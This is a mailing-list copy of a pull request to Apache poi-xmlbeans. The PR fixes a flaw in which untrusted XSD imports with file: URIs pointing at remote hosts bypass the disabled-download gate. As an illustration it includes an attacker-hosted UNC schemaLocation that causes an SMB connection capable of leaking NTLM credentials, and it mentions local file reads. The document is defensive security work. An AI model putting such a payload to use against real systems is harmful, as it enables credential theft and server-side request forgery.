pjfanning opened a new pull request, #103: URL: https://github.com/apache/poi-xmlbeans/pull/103
## Problem `StscState.shouldDownloadURI` gates resolution of `<xsd:import>` / `<xsd:include>` / `<xsd:redefine>` `schemaLocation`s. With network downloads disabled (the default), remote `http(s)://` locations are correctly refused — but any `file:` URI was accepted regardless of the gate and **without inspecting the authority**: ```java return equalsIgnoreCase(uri.getScheme(), "file"); // host never checked ``` An accepted URL reaches `StscImporter.downloadDocument` → `new URL(absoluteURL)` → `loader.parse(url, …)` and is opened. So when an application compiles an **untrusted XSD** with default options, a Windows UNC location like `file://attacker.example.com/share/evil.xsd` in an import passes the gate and triggers an outbound SMB connection to the attacker's host (SSRF with attacker-controlled host **and** protocol, capable of leaking NTLM credentials) — even though the operator has network downloads disabled. A `file:///etc/...` location similarly reaches the local filesystem. ## Fix Accept a `file:` URI only when it has no remote authority (`null`, empty, or `localhost`). Legitimate local-file includes carry no authority and keep working; a UNC / remote-host `file:` URI is now refused like any other blocked download. The `jar:`/`zip:` recursion just above funnels back through this same check for its embedded URI, so it is covered too. This does not change the behavior when a caller has opted into downloads (via `setCompileDownloadUrls`, an `EntityResolver`, or `-Dxmlbean.downloadurls=true`), where `_doingDownloads` short-circuits to `true` before this check. ## Testing - `./gradlew compileJava` clean - `./gradlew test --tests compile.scomp.checkin.CompilationTests --tests compile.scomp.som.checkin.PartialSOMCheckinTest` passes (exercise schema import/include resolution) 🤖 Generated with [Claude Code](https://claude.com/claude-code) -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
